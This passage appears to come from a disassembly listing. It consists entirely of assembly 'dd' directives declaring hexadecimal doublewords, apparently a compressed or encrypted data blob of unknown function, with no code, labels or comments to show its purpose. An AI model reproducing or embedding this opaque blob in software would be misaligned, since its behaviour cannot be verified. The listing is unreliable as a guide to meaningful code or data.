		dd 880E3C20h, 0A00965E4h, 0E3603E41h, 6CD0F78Ah, 707D2Dh
		dd 0E498C720h, 232979Ch, 0DE1C1072h, 0F88045C4h, 620D2F22h
		dd 66E113EAh, 7B980006h, 0D812EE0Bh, 1A4BF002h,	0E2C63AC3h
		dd 33AEC013h, 0BEE400AFh, 265081B7h, 3C019335h,	410E251Ch
		dd 0E0306474h, 0E2E80030h, 9682DC06h, 8600562Dh, 5A2C621Fh
		dd 91DA49Dh, 3CFE81FBh,	0C8FA4D80h, 1C003E57h, 93713F46h
		dd 0B4E179h, 0F4B12260h, 0FCC7F8BCh, 58DDFF4Ch,	947C053Ch
		dd 0C3C0FE80h, 901D31h,	96849754h, 2E08BC1Ah, 25CA6F00h
		dd 40E15E87h, 553800F4h, 745B7239h, 8F704983h, 3EAE3D00h
		dd 0EAF32CC6h, 1EC001B3h, 46A2B92h, 0E956E4C1h,	4B00F1E2h
		dd 0F24CE238h, 3824763Bh, 3D80099Fh, 4E32D847h,	2E00C366h
		dd 0DC94D28Ch, 279C122Ch, 4DC19E83h, 4A1670F2h,	96B41F07h
		dd 893C2F6h, 22929063h,	0B29D0043h, 7CD07054h, 0BD007EB8h
		dd 0C53F8917h, 74230B1h, 7724F080h, 499E00D2h, 0E100D6FAh
		dd 6807E9F5h, 3263A66h,	3CE42B24h, 0D9B88F3Dh, 2D3E93BCh
		dd 0EC560BA0h, 0B575815Eh, 0E7F8FA07h, 0F9E405F1h, 0C05D6093h
		dd 856449E8h, 27CA781Eh, 0A17207C0h, 14E4ACE7h,	0BE76E0BBh
		dd 38B4CE00h, 60A00A17h, 89951A00h, 311C04B6h, 3C74B8BCh
		dd 4F81613Dh, 0FC5BE434h, 608E6163h, 0B7E2B0A5h, 98879703h
		dd 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh,	2794DC09h
		dd 8C07161Eh, 93FE8FC0h, 0FE36323Fh, 7E8A3C70h,	3772007Fh
		dd 8640A06Bh, 0A5E21CB4h, 1DB89D00h, 15F09ECDh,	2FFA002Dh
		dd 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h, 5602C11Dh
		dd 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh,	7449176Ch
		dd 7C5E04D8h, 0C8B3C05Bh
		dd 401C5070h, 1C014F0h,	0EE300BA3h, 3A7C32h, 0F916640Ch
		dd 2F34B8FDh, 0C6610500h, 0E177310Dh, 0E3B0086h, 29ED25E0h
		dd 560028CCh, 2E7353Fh,	741C53Dh, 0FC4992A0h, 0FD51204Dh
		dd 59008C20h, 611FFA94h, 76593h, 25923B98h, 9A08E002h
		dd 380A9C00h, 1FEC824Ah, 0F77A48DEh, 987C4B00h,	76165C26h
		dd 96308312h, 0ACFA4A00h, 12B0D4h, 0BC684FB4h, 7678C0CBh
		dd 75C85B3Bh, 50F08B00h, 87F84ACAh, 3F032772h, 0C200D4ECh
		dd 7E265814h, 48204A1Ch, 0F413F68Bh, 28EEE292h,	6000FAB7h
		dd 68E564E7h, 3E70DE4Ah, 0B9935EE0h, 3EBEA0A8h,	0B41A0F00h
		dd 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh
		dd 0EB250C9h, 40C61F0h,	0C32A08E0h, 14E6104Ch, 0E318D300h
		dd 0F020F21Ch, 285B0086h, 79FBD0C7h, 580E71D2h,	46FA5CF9h
		dd 8AE548h, 7CFC78A0h, 8416A29Ch, 8CE8F012h, 13EA5700h
		dd 0B682B4h, 0CCE058C0h, 88D860C9h, 2305E71Dh, 2D01BC9Fh
		dd 0C0C83166h, 0C93CCCh, 0F0686F40h, 4F2EFD64h,	81709E3Dh
		dd 7CECC174h, 84C880F9h, 2FE60078h, 9404418Ch, 65A2E7Ah
		dd 0E3C0F5C3h, 760CE2C4h, 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh
		dd 2C5FAA70h, 3C100905h, 94A87C78h, 0E15C8A00h,	74F96C12h
		dd 84222F00h, 44AE568Ch, 0AAAC01A4h, 0A661B425h, 588240C4h
		dd 0BF63064h, 0A4701A00h, 0B8E884D2h, 0B8C752Dh, 16FC9462h
		dd 0B84970h, 0A803A47Dh, 6FB02CC1h, 7BB8F80Bh, 1C4107FEh
		dd 0A02F3834h, 20704832h, 0F5C5A00h, 6CCB689Ah,	2FF0747Bh
		dd 0AB63DC79h, 96F441BFh, 0C04630F8h, 8004353Eh, 0E164C611h
		dd 0FA6CE968h, 0AEE70h,	0E285B778h, 0B9E4BC80h,	0C07C3E01h
		dd 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h
		dd 38800B3Eh, 7C7214D1h, 4FDE00E4h, 0A0E68298h,	120036F4h
		dd 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h, 96F69FC0h, 10609C00h
		dd 18888597h, 206A3EB0h, 28068480h, 64E808FDh, 1344BC01h
		dd 740EF06Ch, 80A8C680h, 88B00F2Fh, 588CC900h, 0DE944FC6h
		dd 0D08F0E1Eh, 5263D4CBh, 0E090DC7Eh, 0B00E45Bh, 8650ECAEh
		dd 3F0FF45Eh, 0E80FC76h, 8490438h, 4A48EE58h, 18F00073h
		dd 0F4561CE2h, 147B01Fh, 162C9328h, 0D8A4B1AFh,	0E07F3C02h
		dd 87B5440Bh, 75F858h, 4B854E4h, 602F5C3Fh, 15A00E03h
		dd 85B6AB01h, 3FF013Bh,	40E86090h, 0EB0E1506h, 87821144h
		dd 2EB590DBh, 4D02E00Ah, 44BB18DEh, 0DD039029h,	719D2B18h
		dd 33BD8311h, 89AD30D8h, 832E2FE9h, 3E850F0Eh, 8D183B05h
		dd 5027E030h, 0EC2095FFh, 60897D31h, 0F88B1BDCh, 0ED669D8Dh
		dd 432D5311h, 797936E8h, 21FA4228h, 4E7D4457h, 6A49D48Bh
		dd 6A075618h, 10066804h, 0DF46EAA0h, 4C6D38ABh,	75264268h
		dd 2A453AA3h, 0E853C70Ch, 7F8B3774h, 0FBD51C8h,	1B41B5E1h
		dd 0ACE2A4F3h, 0A3807623h, 57E35036h, 850E0E8Dh, 7EF2C51h
		dd 10AC3C0h, 2100409Ch,	2002B063h, 7F3C9008h, 145200C4h
		dd 4409108Ch, 0D8BD21CCh, 57E100E0h, 330E0520h,	8500222Ch
		dd 4FF016Fh, 559D8Bh, 0B0CC02Ah, 0A7A74DBh, 870003ECh
		dd 89195985h, 318DF0h, 831171B5h, 840FC03Eh, 47D36A1Dh
		dd 468B4043h, 68E4C004h, 141EFC99h, 9A063850h, 0EC305586h
		dd 8B560D1Fh, 9D0309C5h, 51A0BB05h, 2F29A03h, 6EBD8880h
		dd 12D0070h, 85FE4C75h,	8B0F0940h, 0E050033Eh, 370EFF1Eh
		dd 0C30707C6h, 0CF8FD7A7h, 535651A3h, 83BA00D5h, 0B55506E9h
		dd 33173FE0h, 56000BDBh, 1A781C03h, 0E83C17ACh,	0E9FA00BBh
		dd 494304D8h, 0EDEB0100h, 0C3831E29h, 0C6CD0005h, 0FA4C76F3h
		dd 5B070DE0h, 6258595Eh, 36104837h, 0F90CC1h, 8DA5F302h
		dd 3C0377E1h, 535EA400h, 809C5088h, 9B853B82h, 7D8A083Bh
		dd 1ED57AB2h, 0FF45C0C1h, 64E402A9h, 0E10729FEh, 864B5595h
		dd 2B0F1970h, 79D89DD0h, 0E8C1C200h, 0B88A4610h, 235D0067h
		dd 4C3A6D03h, 0FC0074FFh, 834E548Bh, 0D17308h, 0ADCA7DACh
		dd 0C107EF66h, 910CEB00h, 9D7401FBh, 5002070Bh,	0C7033D16h
		dd 2F2CF020h, 0E3001481h, 79820FFFh, 0E604011Fh, 7E1D79D4h
		dd 390EEEB2h, 8DBD462Dh, 0B8E20200h, 61DC9ED9h,	128B4B0Ah
		dd 6000E203h, 40C0850Ch, 1539071h, 0EAC2EB83h, 20C7A2D8h
		dd 26000CF0h, 53073275h, 29F016h, 4A4D6E04h, 413BB4C7h
		dd 0C403A901h, 66470646h, 107AD8h, 1B57ED6Ah, 7ED618B7h
		dd 0FA511A00h, 850D41B0h, 0A49900DBh, 62F759A2h, 802501ECh
		dd 0F0F475h, 5653C543h,	6500028Ah, 19B5AC7Fh, 0E6E8B850h
		dd 755B0367h, 2A25A66Fh, 0D28B57E0h, 83659839h,	31342BC7h
		dd 99E9D842h, 4939012Ah, 37DC3606h, 188EDC53h, 5A247500h
		dd 0C1124AD3h, 140200E2h, 3F7C0F63h, 835F3C7Bh,	30AE0h
		dd 0D91CA35Ch, 0A1DE1304h, 0EB5F2300h, 21515A16h, 8177A4h
		dd 8307894Bh, 3704B14Ch, 0AF32E900h, 4A2D06E7h,	710E892h
		dd 0D9141C0Ah, 0FEEBF0C1h, 8500BA24h, 0A4506544h, 735B483Dh
		dd 100400C2h, 61022F11h, 0B81F0875h, 0C402201h,	32BF54Bh
		dd 1C9300C3h, 0B715588Dh, 0AC005051h, 7656DCD3h, 3942DEBBh
		dd 0A3804825h, 2708ED21h, 9400DB30h, 641A8B4Ah,	38D83D3Ch
		dd 0C40283D0h, 306A5F10h, 0E1468961h, 0C9C2301Dh, 2C47F600h
		dd 513C978Ah, 74985Bh, 43A57729h, 14959FEFh, 4CC2CE01h
		dd 0F4391833h, 0AB10D4h, 0AC4A4051h, 779F196Eh,	53D51E00h
		dd 56D28D89h, 0E49B00F2h, 68C598F0h, 0C73BC84Dh, 50D480DAh
		dd 5C9CB6BEh, 31EEE4h, 13B5A1Fh, 3733888Ah, 0EF60DA00h
		dd 0BB86BC39h, 0E2EE006Fh, 1072C6DCh, 0AE0096FEh, 24CF0A7Dh
		dd 0ADB14Fh, 4C2A4481h,	0CDD53940h, 0C8012301h,	79B62C09h
		dd 0BFF1E4h, 17607C0Eh,	0AB51E0FEh, 8D0061EAh, 1690FBD6h
		dd 2FD240h, 28A1B4D4h, 587CC109h, 0B8191100h, 98107174h
		dd 0C72A0059h, 0BEBB8531h, 80009F8Bh, 233935E8h, 37BD87h
		dd 92DF5D63h, 4E4F0372h, 6D009579h, 57B9D5E4h, 38DEA83h
		dd 82B7CD0Fh, 7C00DBCh,	0B103FD41h, 87A3972Ah, 8ACFE029h
		dd 48240078h, 0B7EA61E9h, 0D5EE7649h, 0F768441Dh, 0A1145080h
		dd 0F2C4BC60h, 0C8E0027h, 0A0656631h, 0BF00174Bh, 3FD6872Ah
		dd 6EEDF1h, 0DC8ED3BCh,	0AD30EC57h, 0D548E5FAh,	56CB05FDh
		dd 0C3BB4CF1h, 800A1DBh, 0A575C410h, 8CDBEh, 31E18193h
		dd 42CED970h, 0DE19DD1Fh, 71959987h, 3F8F1CA0h,	4698003Dh
		dd 0DB31A266h, 50030A8Eh, 5DA8D0F7h, 59C6D05Ch,	24D51EC2h
		dd 0B842CF0Ch, 0BD49E9C0h, 8100262Dh, 62CDBB78h, 0A2023h
		dd 0B0FCEC59h, 5C33F086h, 0D79BE600h, 0ABE21B42h, 411C0060h
		dd 5D740602h, 0F00ECC61h, 7F834AC6h, 2FA2EC0Eh,	31472075h
		dd 0D55E0Fh, 0B39E8D01h, 0C78E62D4h, 5A1DCD00h,	0F5B2F9A4h
		dd 0A22F6092h, 1C684ADEh, 512E1E0Eh, 451A4069h,	0F430F8Ch
		dd 0B82A844Eh, 0FA7B6C20h, 0B400A860h, 768BC7DFh, 7DB91A0h
		dd 179A270Ah, 487F006Bh, 0EA038997h, 633644D0h,	1504E083h
		dd 18CECDFh, 35586176h,	0C46F24BFh, 0E63B5599h,	0EC2B0019h
		dd 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h, 1DAFDB04h
		dd 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh, 737938h
		dd 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh
		dd 7B9D3700h, 0CEB45Ch
		dd 62574738h, 33B5B6E9h, 61B30800h, 31033CF3h, 2BC33A65h
		dd 27BAAE00h, 116A8B22h, 0D925B300h, 3CA1E837h,	0E4481E5Dh
		dd 0D29CF6h, 41E2D45Fh,	641C0467h, 0B4FD6F4h, 7FDCC037h
		dd 1B6C36Eh, 12E357A1h,	0CA01AA54h, 53458EC0h, 4072200h
		dd 0EC5FD244h, 0D3C80020h, 0A96D7C14h, 2A01D9BCh, 0B851CF3Ch
		dd 5AC56C31h, 0ED01E0h,	7BCBB39Dh, 69C5ACA6h, 4A6F2500h
		dd 2565E2Ah, 88F81410h,	1A00E4DAh, 76A73E27h, 1301EB1Bh
		dd 0C0CE492Ch, 92FCD780h, 15850056h, 19D152BFh,	0B50053D4h
		dd 0E396C067h, 320482h,	0AA0E3C76h, 0D449596Ch,	771D7C72h
		dd 4E8F095Ah, 7EC0FD70h, 9207A7B1h, 3FDC3E27h, 0AFE2DD03h
		dd 70F0B084h, 0AD001881h, 0CF147C9Fh, 0A8C26Dh,	6878AC54h
		dd 0F73128F3h, 0B033C500h, 9B35B6B1h, 0FC2DE6A8h, 641500C6h
		dd 0D104CA8Ah, 0D034BE0h, 81242C8Bh, 4FA0BCEDh,	35557BC3h
		dd 870860ECh, 0C7D7034h, 8000B2FCh, 8846068Ah, 1E024707h
		dd 9E0575D2h, 0CA129D16h, 500BEF73h, 0C057334Ah, 830F090Dh
		dd 0B83F62D6h, 0AFC0130Fh, 674E00Bh, 0F87C2B57h, 0BD5F0731h
		dd 0A061A0EBh, 72C13E4Eh, 0F7E883EAh, 5AB928E1h, 0E0C92120h
		dd 2BF78B56h, 0A4F3F501h, 0FF58E95Eh, 0C1480282h, 0B2A208E0h
		dd 31B5E88Bh, 7D183D9Ch, 0C81A7336h, 143F050Eh,	2140410Eh
		dd 31811F0h, 777FF883h,	2C1A903h, 2CF6155Dh, 0C90033A3h
		dd 7401E8C0h, 6AD18312h, 0E21CB602h, 5D07FEE7h,	552609B9h
		dd 82618687h, 797008C2h, 7A8817E1h, 39FE7C5Dh, 38C76AC1h
		dd 560FDC5Eh, 7574A369h, 1541F361h, 0D636F16h, 65CE468Eh
		dd 508F0C35h, 9EFF6F8Eh, 450FB863h, 7AF16978h, 53E373F8h
		dd 8CC67545h, 4D6343A6h, 0FC676129h, 41F00EFFh,	7060770Fh
		dd 746E6972h, 4C146663h, 4544F04Fh, 6206E52h, 98707B9Eh
		dd 50657AE5h, 6F643E70h, 375FB875h, 2079C642h, 1F53BEFFh
		dd 63DE7325h, 2DD35C65h, 0B5BE8CDEh, 874D3862h,	1EB7E261h
		dd 6BFBEE38h, 0F7C779CBh, 2E63C66Dh, 0B6B20CCh,	0DA727E62h
		dd 51A76875h, 2C64D66Fh, 1E2BA2A3h, 245E4375h, 38C4C190h
		dd 0E509D232h, 0B3181529h, 33FD4702h, 0FEF741F1h, 239AF5D5h
		dd 7E8F43FFh, 0A663B5D2h, 4163467Dh, 0DF6F4C27h, 9F5394AEh
		dd 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h, 10060h, 374E0000h
		dd 31AA0000h, 0C46A6C82h, 29900FFFh, 92E05B20h,	0B8FA3148h
		dd 2C3227Dh, 0C92B2B83h, 0C9920994h, 5612AECEh,	0DE2D9EA4h
		dd 1425A6CEh, 30FEA6BBh, 0F0731E2Ah, 59360884h,	27FBC629h
		dd 0B1823A27h, 0B0A6F215h, 0FDF1BAB7h, 8197290Ah, 0E9E0B697h
		dd 61E8EF3h, 28ACB8D8h,	2E67D966h, 62BFAE4Fh, 36CBFA69h
		dd 18657296h, 0F6F336B5h, 76347147h, 8826C371h,	0F83764EFh
		dd 612407EBh, 3B7FCCB0h, 2788AAF2h, 56805AC8h, 0EEBF0580h
		dd 48C00FF0h, 0E5AEE2D2h, 384ECDC7h, 0D9B2AD09h, 219CF6A7h
		dd 5AF2C4AAh, 0A701C0C4h, 0E45DDEF3h, 218105E8h, 336A821Ch
		dd 689F7AA6h, 8BAB0E66h, 4A0DCFA3h, 79A7A17Eh, 0B5125596h
		dd 98CFACD7h, 0C702A4E5h, 60810C58h, 560FDA1h, 69C5F892h
		dd 7EBC0A2Dh, 382DAEB7h, 0A773491Fh, 1254E731h,	87D40730h
		dd 0D5FEAB26h, 47FF89D5h, 0D089543Eh, 6DBC1209h, 0F71D9C0Ch
		dd 3D783E41h, 59BBFA3Eh, 548BAC10h, 66A210AEh, 321F166Bh
		dd 4AA6E0A8h, 5923223Ch, 2025AE08h, 8F9F0928h, 949EEF5Eh
		dd 0DCD674DEh, 146E8644h, 0FD0F799Fh, 25B09921h, 0AB47A680h
		dd 42862DF2h, 5BC3FF9h,	14DD2CC5h, 194E8D6Ah, 0C62FC319h
		dd 3DE0BDC6h, 0A7EF4655h, 44B9CA2Fh, 0F0E37DBDh, 0DD2F0C38h
		dd 0E590304Ch, 0F3746268h, 0D8909264h, 0F0526408h, 8DCD356h
		dd 3431E02Bh, 0ED305773h, 18323C7Dh, 25D96343h,	0A0560888h
		dd 0B2A4EFA0h, 5F83DA70h, 0C6A2F042h, 5620E71h,	406340EFh
		dd 2B5C5909h, 77CC7E7Ah, 63A9C7EAh, 579A0A08h, 27D689E3h
		dd 3DBCB075h, 9A66502Fh, 5AED060Ch, 0DBF37973h,	9AA758CFh
		dd 217D5944h, 0C6A590EDh, 0BF5E4FAFh, 2AA91FC4h, 276712AEh
		dd 102ED908h, 9CE6ECF5h, 0A9715A39h, 0BE01D29Ch, 0E0D1E096h
		dd 0EADA5E86h, 0E5C68888h, 0AA61470Ah, 8D78FF0h, 6C67E877h
		dd 0A28A82B4h, 0F6BD7133h, 0F19E04D9h, 9125B0ADh, 1CBD8C5Fh
		dd 0ECD18A12h, 0FBAF033Fh, 0BB524B3h, 0F6915EECh, 0C0FB46A4h
		dd 8C933621h, 1B7197B5h, 692247F0h, 29337220h, 358C692h
		dd 45C356CAh, 99E6A197h, 69159692h, 0D569734Ch,	3590CEA5h
		dd 901ADE1Ch, 0B4ADDCD4h, 0A4E36CEBh, 0C114AB80h, 0F99E41C2h
		dd 299FAC3Ah, 41B3E0ABh, 9586580Bh, 0E77E2554h,	1E7ADF30h
		dd 43512BE8h, 0B56DB33Ah, 0F83FE3E8h, 0A5CC87A4h, 0D95346AFh
		dd 0E0B3CC81h, 0F0F650CCh, 0A4DE9DFDh, 0CAB30288h, 0D7917025h
		dd 0BACEA5A0h, 64BBB81Ch, 5B764A5Bh, 0E2BC6258h, 384384E3h
		dd 16FD539h, 77F9C296h,	0F389C2EDh, 0E94D592h, 0F8CD0D3h
		dd 16FF6C63h, 43C0BF26h, 441EEF84h, 1B15564Ch, 0C4FA6261h
		dd 30F2F04Bh, 584ABEAAh, 0A7D74A96h, 0FB561BFAh, 0A081484Dh
		dd 0C61F83A7h, 0DD72E980h, 0C8D18177h, 3AEC0CF0h, 0D429B756h
		dd 0AC43DF29h, 8A64E66h, 1D56F8D0h, 0F38C7927h,	8A966320h
		dd 0E4D861F5h, 3D50C9CBh, 0B3FC0F26h, 0A2F4756Ah, 0FE2F68FFh
		dd 0D674E00Ch, 0B0983975h, 20CF04E0h, 4085B97Fh, 0A632785h
		dd 0E7680D9Fh, 0DC163EE5h, 0BA07F0E7h, 0D8D9EE43h, 25614296h
		dd 0E456D7A2h, 0BA1ED82Dh, 0AF811E9Fh, 0CCF6941Ah, 0E785A25Bh
		dd 27E75225h, 0DFFD2412h, 2EBE9480h, 0C6A24FECh, 7581935Eh
		dd 0F757ED9Ch, 0DAA9B57h, 0FDC6CDDBh, 41E119F3h, 66F43C82h
		dd 0FD6FF1F3h, 92B500A5h, 7F74C013h, 798250A0h,	20A18F2Ch
		dd 320340Fh, 4072C10Fh,	0F39FE2A9h, 0B2CAD598h,	0E6E6DE08h
		dd 9FB7773Fh, 81F3DF1Ch, 0DE0BF281h, 0FA8E1387h, 468FE479h
		dd 50336712h, 0F5358D03h, 7AFA3E50h, 3E8C3279h,	0D6726F69h
		dd 2542D6E1h, 0D43F04B9h, 0AB4D338Fh, 9C0AB0E7h, 0C953643h
		dd 9A9FFF61h, 7EDFFE89h, 0E45A00C1h, 6968A333h,	174E6003h
		dd 66082536h, 0A6856C26h, 54BEDEBh, 8D043269h, 3AEF589Dh
		dd 8CDB30A4h, 0C3DEEA4Dh, 21214B01h, 17DD62BAh,	0E8EE7AC1h
		dd 5D619946h, 0C9B949FFh, 0FD8F70ABh, 16CCDA9Eh, 4EAD82ADh
		dd 291F3DF5h, 14EF5642h, 9DEEA3A7h, 14D28E08h, 8E4B9679h
		dd 0E699294Fh, 0D199CB7Ch, 9712CD4h, 226A930Eh,	0FFF3F258h
		dd 0BB9785A8h, 6F00DD6Bh, 1C3BCE1Ch, 1B0E26Eh, 0A2CF6B10h
		dd 0A8E86B04h, 0E6969D8Dh, 0D3A199Dh, 0F0F8CE86h, 1D1DD03Bh
		dd 62485B27h, 94F76BBh,	905121E0h, 2F9623A9h, 9F4C89ABh
		dd 2CA59F15h, 8ACCA03Dh, 53EC28C3h, 4BED13ECh, 0E1E74EB7h
		dd 295C128h, 82BF9A31h,	0FB67C81h, 85F98E62h, 2023DD63h
		dd 6386C85Bh, 84A8C6CBh, 9165065Dh, 3E1EDB59h, 3F76F407h
		dd 0C71B243Eh, 29EF0878h, 6E730C2Eh, 3BF23EC2h,	620C8647h
		dd 3894A6E7h, 2340FC90h, 553D20F4h, 4600D826h, 6E14F315h
		dd 0ABFB53ADh, 3F35F1D8h, 0A2FBCE79h, 0D75F04Bh, 8CD3B7E7h
		dd 0C5AD95C9h, 0AF35539Eh, 9943A36h, 7A648E6Ch,	24D2EF70h
		dd 564D99CAh, 0C93808D9h, 1E852522h, 2F0A978Fh,	1AE47FE0h
		dd 76F1F7DCh, 0E33CDDAAh, 40340233h, 0C42ED795h, 15C801D9h
		dd 0C7D0FAA5h, 22614324h
		dd 9372AD51h, 1AF5D9DAh, 8CF7A5C9h, 0D8C3396Eh,	0D3FA790Bh
		dd 1DAFDDF9h, 2E8C749Dh, 0A090E0D0h, 0B6A31F64h, 0D1C2F776h
		dd 0F3BE2FDCh, 373950BFh, 284617B2h, 7C8E9332h,	211B2295h
		dd 0E6F8F5D6h, 0FBBFB573h, 0A1D1D07Ch, 4E7434ABh, 5502A89Eh
		dd 1E22473Ch, 4C1984DFh, 0D33A6203h, 0AD8E4C27h, 84184E2Ah
		dd 8FC65CFBh, 58918CF2h, 4E893C6Dh, 0A567D63Fh,	0D4BAC4E2h
		dd 6B243DAAh, 4DACE1FCh, 0DDC8105Ch, 1B11403Dh,	89E3B313h
		dd 29A4E34Ch, 0CC136D9Ah, 24876D59h, 484A35A7h,	2D7B64FCh
		dd 0AA4E562Dh, 0DF266D42h, 0EA60AAEEh, 5B7E9CFFh, 3B4CD384h
		dd 2704ADECh, 0AC56F970h, 851296DCh, 0E18EA56Ah, 8E9850E8h
		dd 6064CD2Fh, 73A44B5Eh, 768F4A98h, 0F694F7EEh,	0D54D6E72h
		dd 806FF255h, 15D5297Bh, 6A614B25h, 8C7C0B9Bh, 9632479Dh
		dd 6F3ED670h, 88C39FE7h, 8684B769h, 0F71CAF9Bh,	7E483AD1h
		dd 8E56474Ch, 7BA67415h, 51624DE9h, 4655FE08h, 484EBB86h
		dd 8DEAD7B0h, 5C14D61Bh, 0A918F74Eh, 0B934FC41h, 0C003792Dh
		dd 575CB3C1h, 4F139D03h, 97B6167Eh, 807B8F5h, 6B67B9C5h
		dd 2745A099h, 0CCD02C42h, 4544DE81h, 0DC7D9858h, 0DEF6141Eh
		dd 6AF97F1h, 2B68FC25h,	0BCDD14DCh, 0AEB53A4Ch,	0E55F367Fh
		dd 1C517C6Fh, 2B3D3F84h, 0F6331047h, 37FF9802h,	0A69D08E8h
		dd 0A708F5BEh, 0D6D28805h, 0CEDF6F66h, 230E3932h, 762218Ch
		dd 0BC351858h, 2FCBEA15h, 0AC39A839h, 0F66858E3h, 3DA3E223h
		dd 7101B037h, 0F9C9BD79h, 8F8A51A9h, 295DF6Bh, 80C4BBACh
		dd 5BBB52F7h, 5E34F722h, 7385EEB5h, 76DB6D77h, 12F54560h
		dd 1EBAAC8Eh, 5911419Ch, 3FE93CD4h, 0EFC666E2h,	0D84DB12Ch
		dd 0F4B582A3h, 54F7E373h, 71BE446Bh, 0A3CB82B8h, 95324F4Eh
		dd 0A28DC43Fh, 0F93DEB49h, 4311C537h, 5314BE3Fh, 0CC18F814h
		dd 0F2DA1416h, 7A839830h, 0B03F9498h, 7AC014ADh, 0C905150h
		dd 0A1152CE6h, 0D102433Eh, 0B597B78Ch, 80E4D3FAh, 0A5C4EAE0h
		dd 0A7F8938Dh, 0C1BDB5CFh, 2E4F7C3Eh, 0CA0801D8h, 0BFE3A00Ch
		dd 0D26BC5AEh, 0E742DBDBh, 0F6B54ED1h, 9A049E86h, 8E6B31F0h
		dd 3E429FCCh, 0C4B92783h, 0A332E412h, 1E55242Fh, 416A30BDh
		dd 9D09491Bh, 0AEDFB397h, 0E1BFBE56h, 86A765C8h, 0EB29C25Fh
		dd 352091EFh, 6BA1C051h, 0D3DC8296h, 0C5F58CDBh, 0AC236669h
		dd 999B46D9h, 0B29D5DA4h, 0AC993894h, 1E068B0Ch, 35B8386Bh
		dd 7050CB9h, 12AC5770h,	8AE68ACCh, 692D5FC4h, 0C2C4A903h
		dd 8A264984h, 0EA27FA1Dh, 51B60FA9h, 0E856E985h, 0A52B1949h
		dd 0A12C5BF1h, 0EE27049Fh, 0CA56F88h, 0CCA170B7h, 0C5A091F4h
		dd 0B08F334Fh, 0E69347BBh, 1CA845CEh, 88AB8198h, 3E16D9AAh
		dd 96D0EF9Ah, 2CC9915h,	4FCD5FFAh, 7824EAC5h, 9AE408Eh
		dd 9D3CAD60h, 41ACBDDFh, 0B7FF565Ch, 0FD450BAEh, 9633E103h
		dd 0F9B0297Ch, 0FEFA8BCAh, 87F1DFBFh, 40E4004Bh, 4D7922EBh
		dd 799B256Bh, 191ECF4Bh, 0D783B6BAh, 0D7219799h, 8C3F1505h
		dd 0B1393BADh, 6DEEFFE1h, 57664553h, 79D712E6h,	95BF1B74h
		dd 4463F29Fh, 0BE24BFCCh, 0BC26E4E8h, 9BB74FE6h, 793F46ACh
		dd 20C32ECEh, 19525441h, 59228135h, 0DE07CA28h,	0BD632C6Ch
		dd 17DA93D6h, 19E88E37h, 0B0FF147h, 0EB6C3C05h,	0AF378920h
		dd 18C6AFB9h, 242080Fh,	0C6077A54h, 7AD51D2h, 45ED21BDh
		dd 7F2EB688h, 0A5E7CEFAh, 152C439Fh, 9E220883h,	781E8715h
		dd 94ECBAD5h, 0E82FEB4Ah, 9FFE2824h, 0C6D4E3D9h, 59A3B4Dh
		dd 3EAD0AF0h, 0D94E9238h, 0C833ABC8h, 0C4BD73A6h, 0A1E23641h
		dd 0D043A0D1h, 0EB594070h, 0DE5B8B75h, 0BDE4E77Fh, 0D6612BA4h
		dd 45DAE357h, 934F8079h, 0D3726856h, 36E911DCh,	0B5AE2346h
		dd 0C803ABB3h, 42168B4Ah, 5339CBAAh, 167DDE43h,	2F66F716h
		dd 3AAB21A7h, 0C75CB324h, 5177335Ah, 0FDA57D7Eh, 46D85386h
		dd 4DBC2362h, 2E672778h, 0A45F4594h, 22BF92D8h,	0AA60136Eh
		dd 48F4B525h, 0E4B3F596h, 0B0770402h, 219B9CD0h, 209A78C4h
		dd 0DD37994Dh, 0BB870381h, 0B1F8B7F3h, 771FA34Bh, 774927A4h
		dd 8A3FCF2h, 0E9F916B4h, 6E3B93h, 5AA5ECA2h, 214CFD71h
		dd 0B5D4B00Ch, 537541EDh, 0E1B64FF5h, 6E5636B6h, 0F1D77175h
		dd 96ACEC98h, 0EE25290Eh, 0EF28AA5h, 83FA2BA1h,	0AAB86EC5h
		dd 0A1AADC1Dh, 118845E5h, 1A2FC5A8h, 1DEA5266h,	7E7BA277h
		dd 1190A848h, 0C9390E0h, 755E2084h, 5F2B902h, 2B20F514h
		dd 18D0B9A2h, 984F21EFh, 0C51C06EAh, 776AEF7h, 0CADFAC59h
		dd 9F7A9943h, 61395EFCh, 46B02B45h, 8B018B9Dh, 0E39419DFh
		dd 6DAC1A44h, 46FD03CBh, 766E4EC2h, 0D7676F1Ch,	38F85D3Fh
		dd 0D556D77Ch, 0D142099Ch, 628E02B2h, 926D1087h, 6CE31D91h
		dd 0E6CE2B7Eh, 0A9379E3Ah, 0FCAA59FBh, 7CFDC164h, 0D06A1F3Bh
		dd 3F885F91h, 98214F1Eh, 30D5DFCAh, 7B89A550h, 7FA7F5ECh
		dd 8753D29h, 0DFBD0EFFh, 5D7D23A6h, 0C21F11B1h,	4E36061Ah
		dd 0E6161E44h, 31EFCF23h, 0A7A978B3h, 0B25A9083h, 86F4D3DCh
		dd 0DDD816EDh, 4B65C497h, 0DB09C61Bh, 0BDAF1BABh, 4CEFE58Fh
		dd 0CBFD8320h, 4312D26Ah, 3541BC04h, 0DCBB6EE0h, 8C3D1C16h
		dd 0E3A2D250h, 0F8BB90D6h, 8781A5A5h, 0FCABDB74h, 94904DDBh
		dd 0D83729C4h, 66FCFAE2h, 0C83A40E3h, 222EA758h, 0D4AD7419h
		dd 3D3AC3FBh, 4325DA73h, 90F65BEBh, 924A343Fh, 275C2FDDh
		dd 428B106h, 2394ABF3h,	5BE6FB0Fh, 0C4BA9656h, 6BA55CC4h
		dd 6128B106h, 27308727h, 269AA7E0h, 498D5C2Bh, 152D4DABh
		dd 1365C04Ah, 0ACB43175h, 0B19D358Ch, 0CEEB22Ah, 0BABC671Ah
		dd 0FE508A78h, 431AF5E6h, 45FFBBE2h, 1A9A847Eh,	5E803D0Dh
		dd 3BEB7077h, 8D55CD36h, 98ADE278h, 2CF53213h, 8426B74Ah
